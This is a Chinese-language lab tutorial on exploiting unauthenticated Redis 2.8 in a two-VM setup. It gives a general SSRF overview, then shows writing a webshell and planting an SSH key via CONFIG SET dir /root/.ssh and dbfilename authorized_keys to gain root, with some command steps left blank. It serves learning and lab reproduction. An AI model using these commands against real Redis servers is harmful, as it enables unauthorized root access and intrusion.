本文介绍如何复现并利用Redis的未授权访问漏洞,以达到远程代码执行和获取系统权限的目的。Redis版本(2.8),于Ubuntu环境下进行。
SSRF(Server-Side Request Forgery)是一种网络安全漏洞,允许攻击者欺骗服务器去访问或获取本不应该被访问的资源。通常,SSRF漏洞出现在服务器端应用程序中,当它们从用户输入中生成请求时,攻击者可以利用这一点来进行恶意操作。
SSRF的工作原理
-
请求伪造:攻击者通过应用程序的输入接口(如表单字段、URL参数等)提交恶意数据。这些数据通常会被用来构建服务器发出的请求。
-
请求转发:服务器接收到恶意数据后,会将其用作发起请求的目标地址。这样,攻击者就可以利用服务器的权限访问内部网络、内部服务或其他受限资源。
-
信息泄露:攻击者通过SSRF可以获取到内部系统的敏感信息或服务,例如内网中的数据库、应用程序的内部接口,甚至可能获得服务器自身的信息。
环境准备
-
下载并安装Redis
首先,下载Redis的源代码包并解压:
wget http://download.redis.io/releases/redis-2.8.17.tar.gz tar xzf redis-2.8.17.tar.gz cd redis-2.8.17
接着,编译安装Redis:
编译完成后,进入src
目录,将redis-server
和redis-cli
拷贝到/usr/bin
目录下:cd src sudo cp redis-server redis-cli /usr/bin/
然后,将Redis配置文件redis.conf
拷贝到/etc/
目录下:cd .. sudo cp redis.conf /etc/
使用配置文件启动Redis服务:sudo redis-server /etc/redis.conf
-
克隆虚拟机
将当前虚拟机克隆为两台虚拟机,一台作为攻击机,一台作为靶机。设定如下IP地址:
- 攻击机 IP: 192.168.205.148
- 靶 机 IP: 192.168.205.149
启动Redis服务后,我们将使用
redis-cli
工具在攻击机上与靶机上的Redis服务进行交互。 - 攻击机 IP: 192.168.205.148
未授权访问漏洞测试
Redis在未启用认证的情况下,可能允许任何人无授权访问。使用Redis客户端直接连接靶机Redis服务进行验证:
redis-cli -h 192.168.205.149
若能成功连接且未要求认证,则说明Redis服务存在未授权访问漏洞。
利用Redis写入Webshell
利用Redis未授权访问漏洞,可以写入Webshell来实现远程代码执行。以下是利用Redis的步骤:
-
确认条件
- 靶机Redis服务未启用认证
- 攻击机能通过
redis-cli
连接到靶机 - 靶机上有Web服务器,并且知道Web服务器的路径
-
写入Webshell
将Webshell写入靶机的Web目录。例如,将Webshell写入
/home/wcy/
目录下:确认Webshell是否成功写入后,在靶机上以验证:
利用Redis公私钥认证获取Root权限
当Redis服务以Root权限运行时,可以通过向Redis中写入SSH公钥文件来获得Root权限。以下是具体步骤:
-
配置Redis
启动Redis服务:
sudo redis-server /etc/redis.conf
-
创建SSH公钥目录
在靶机中创建SSH公钥存放目录:
mkdir /root/.ssh
-
生成SSH密钥对
在攻击机上生成SSH密钥对,并将公钥保存到文件中:
-
将公钥写入Redis
连接到靶机Redis服务:
redis-cli -h 192.168.205.149
获取Redis配置中的目录路径:CONFIG GET dir
将目录路径更改为SSH公钥目录,并将公钥文件名设置为authorized_keys
:CONFIG SET dir /root/.ssh CONFIG SET dbfilename authorized_keys
将公钥写入Redis: -
验证并使用SSH登录
在攻击机上,使用生成的私钥进行SSH免密登录:
ssh -i id_rsa root@192.168.205.149
成功登录后,即完成了利用Redis未授权访问漏洞获取Root权限的过程。